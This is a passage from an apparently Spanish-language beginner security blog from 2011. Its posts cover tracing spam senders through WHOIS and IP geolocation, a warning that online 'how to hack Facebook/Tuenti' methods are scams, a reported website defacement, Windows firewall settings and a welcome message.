    Relevant dates:
        Registered on: 11-Apr-2005
        Renewal date:  11-Apr-2013
        Last updated:  03-Apr-2011

    Registration status:
        Registered until renewal date.

    Name servers:
        dns1.redstation.co.uk     80.84.49.135
        dns2.redstation.co.uk     80.84.49.136

Si vamos al dominio que nos indica, redstation.com, vemos que es una empresa que ofrece servidores dedicados para alojar website o lo que desees.

Veamos ahora otro ejemplo de mail, que proviene de un lugar distinto. El contenido del mail es parecido, pero la IP es distinta:

Aquí la IP es 81.208.35.150. Y geolocalizandola vemos que proviene de Italia, en concreto de Bolonia:

Pero en este caso, no sabemos porqué razón, no aparece el dominio. Quizá en este caso la web no esté alojada en una empresa de hosting, sino en un servidor más "particular".

Cómo ya habréis podido averiguar, y si no os lo digo yo, éste método no sirve sólo para averiguar el origen del spam, sino que lo podremos utilizar en cualquier mail que nos llegue al correo.

Como hackear Hotmail, Facebook, Tuenti...

2011-11-01T18:40:00.003+01:00

El titulo puede parecer algo pretencioso, pero realmente es el tema sobre el que va a tratar esta entrada. Simplemente con escribir en Google “como hackear”, las primeras sugerencias que nos aparecen, gracias a Google Instant y las búsquedas autocompletadas, son, en este orden, como hackear tuenti, msn y una red wifi.

Esto es, lógicamente, si realizamos la búsqueda en español. ¿Pero qué pasa si la realizamos en inglés?

Las sugerencias no cambian mucho. Simplemente hay que cambiar Tuenti por Facebook.
De las redes wifi ya hablaremos más adelante, ahora nos centraremos en el otro grupo de resultados.

COMO HACKEAR TUENTI

Tras realizar esta búsqueda en Google, nos aparecerán 115.000 resultados. Pocos, si los comparamos con los más de 45 millones de resultados de la búsqueda “how to hack facebook”, pero muchos, demasiados, si tenemos en cuenta que ninguno sirve para nada.
Muchos trucos en blogs y demás páginas dedicadas a tuenti, pero que solo sirven para engañar al usuario e incluso, en algún caso, para sacar su propia contraseña.

COMO HACKEAR MSN
En este caso nos aparecen algo más de medio millón de resultados, cinco veces más que Tuenti, pero normal teniendo en cuenta los años de funcionamiento que llevan uno y otro. En este caso los supuestos métodos que nos ofrecen son distintos a los de Tuenti, ya que, en la mayoría de los casos, nos deberemos descargar algún programa que nos mostrará contraseñas, conversaciones en tiempo real y dónde se encuentra el Santo Grial.
Si la búsqueda la realizamos con Hotmail, el número de resultados se dispara hasta superar el millón.

COMO HACKEAR FACEBOOK
Si antes hablábamos de los 45 millones de “how to hack facebook”, en español tampoco se queda atrás, ya que casi alcanza los 3 millones y medio de resultados. Aunque los resultados tampoco dan para mucho, ya que, echando un vistazo por encima, algunos simplemente recurren a un keylogger para sacarla.

En definitiva, no recurráis a estos métodos si queréis sacar una contraseña de alguno de los servicios enumerados u otro parecido. Sólo perderemos el tiempo, esfuerzo, y en alguna ocasión, hasta dinero, ya que en ciertas páginas incluso hay que mandar algún SMS (nada barato) para sacar las contraseñas.

Anonymous ataca de nuevo

2011-10-31T17:34:00.005+01:00

Según leemos en Security by default, la web del candidato socialista a las elecciones generales, www.rubalcaba.es, ha sido atacada por el grupo Anonymous.

El texto que han "colado" en la web, tal y como se puede leer, es:
Rubalcaba, la sombra del 11-M te persigue muy cerca: "La forense del 11-M declara ante la juez que en los cadáveres no había metralla". En breve se desvelará asignación de chalets de VPP concedidos a la mano derecha de Cayo Lara (Izquierda Unida).

Cómo es lógico, el texto fué retirado rápidamente y ya no se puede ver en la mencionada web.

ACTUALIZACIÓN (17:40)
Según indican en la cuenta de twitter de Anonymous, este grupo no ha tenido nada que ver con el ataque.

El Firewall de Windows XP y Windows 7

2011-10-31T12:19:00.000+01:00

La siguiente presentación muestra las distintas ventanas y explicaciones sobre los componentes del firewall de Windows 7 y el Centro de Seguridad de Windows XP.

Se incluyen capturas de pantalla de todas las ventanas e instrucciones del funcionamiento de cada elemento.

Firewall Windows XP y Windows 7

View more presentations from David Rama

Bienvenidos a ZonaSec

2011-10-31T11:21:00.001+01:00

Este blog nació con la idea de ser una página donde unos principiantes y novatos en el mundo de la seguridad publicaran sus trabajos e impresiones, así como compartir con el resto del mundo sus conocimientos.

Cada entrada que se publique, intentará ser lo más clara e informativa posible. Todos los estudios y trabajos presentados aquí habrán sido realizados por nosotros, salvo en alguna excepción, que en su caso se citaría.

Para buscar algo en concreto, os aconsejamos utilizar el buscador, que se encuentra a la derecha de este blog.

Esperamos que sea de vuestro agrado y os guste la página. Cualquier crítica, ya sea buena o mala, será bien recibida.

Un saludo y agradecer desde ya, a todos los que visitéis este blog.